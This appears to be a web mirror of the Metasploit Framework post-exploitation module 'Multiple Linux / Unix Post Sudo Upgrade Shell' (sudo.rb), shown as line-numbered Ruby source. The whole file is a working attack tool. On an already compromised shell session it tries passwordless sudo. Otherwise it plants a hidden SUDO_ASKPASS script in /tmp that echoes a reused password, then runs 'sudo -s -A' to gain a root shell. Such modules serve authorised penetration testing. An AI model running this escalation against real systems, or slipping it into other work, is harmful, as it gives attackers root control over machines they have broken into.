Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/manage/sudo.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
include Msf::Post::Linux::System
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Multiple Linux / Unix Post Sudo Upgrade Shell',
17
'Description' => %q{
18
This module attempts to upgrade a shell account to UID 0 by reusing the
19
given password and passing it to sudo. This technique relies on sudo
20
versions from 2008 and later which support -A.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'todb <todb[at]metasploit.com>',
25
'Ryan Baxendale <rbaxendale[at]gmail.com>' # added password option
26
],
27
'Platform' => %w[aix linux osx solaris unix],
28
'References' => [
29
# Askpass first added March 2, 2008, looks like
30
[ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']
31
],
32
'SessionTypes' => [ 'shell' ],
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],
36
'Reliability' => []
37
}
38
)
39
) # Need to test 'meterpreter'
40
41
register_options(
42
[
43
OptString.new('PASSWORD', [false, 'The password to use when running sudo.'])
44
]
45
)
46
end
47
48
# Run Method for when run command is issued
49
def run
50
if session.type == 'meterpreter'
51
fail_with(Failure::BadConfig, 'Meterpreter sessions cannot be elevated with sudo')
52
end
53
54
print_status('SUDO: Attempting to upgrade to UID 0 via sudo')
55
sudo_bin = cmd_exec('which sudo')
56
if is_root?
57
print_status 'Already root, so no need to upgrade permissions. Aborting.'
58
return
59
end
60
if sudo_bin.empty?
61
print_error 'No sudo binary available. Aborting.'
62
return
63
end
64
get_root
65
end
66
67
def get_root
68
password = datastore['PASSWORD'] || session.exploit_datastore['PASSWORD']
69
70
if password.to_s.empty?
71
print_status 'No password available, trying a passwordless sudo.'
72
else
73
print_status "Sudoing with password `#{password}'."
74
end
75
askpass_sudo(password)
76
if is_root?
77
print_good 'SUDO: Root shell secured.'
78
report_note(
79
host: session,
80
type: 'host.escalation',
81
data: { :escalation => "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell" }
82
)
83
else
84
print_error "SUDO: Didn't work out, still a mere user."
85
end
86
end
87
88
# TODO: test on more platforms
89
def askpass_sudo(password)
90
if password.to_s.empty?
91
begin
92
::Timeout.timeout(30) do
93
cmd_exec('sudo -s')
94
end
95
rescue ::Timeout::Error
96
print_error 'SUDO: Passwordless sudo timed out. Might be blocking.'
97
rescue StandardError
98
print_error 'SUDO: Passwordless sudo failed. Check the session log.'
99
end
100
else
101
askpass_sh = '/tmp/.' + Rex::Text.rand_text_alpha(7)
102
begin
103
# Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
104
# Generally will be much snappier over ssh.
105
# Need to timeout in case there's a blocking prompt after all
106
::Timeout.timeout(120) do
107
# Create the shell script that will pass the password to sudo
108
vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
109
write_file(askpass_sh, "#!/bin/sh\necho '#{password}'\n")
110
register_file_for_cleanup(askpass_sh)
111
vprint_status 'Setting executable bit.'
112
cmd_exec("chmod +x #{askpass_sh}")
113
vprint_status 'Setting environment variable.'
114
115
# Bruteforce the set command. At least one should work.
116
cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")
117
cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
118
vprint_status 'Executing sudo -s -A'
119
cmd_exec('sudo -s -A')
120
end
121
rescue ::Timeout::Error
122
print_error 'SUDO: Sudo with a password timed out.'
123
rescue StandardError
124
print_error 'SUDO: Sudo with a password failed. Check the session log.'
125
end
126
end
127
end
128
end
129
130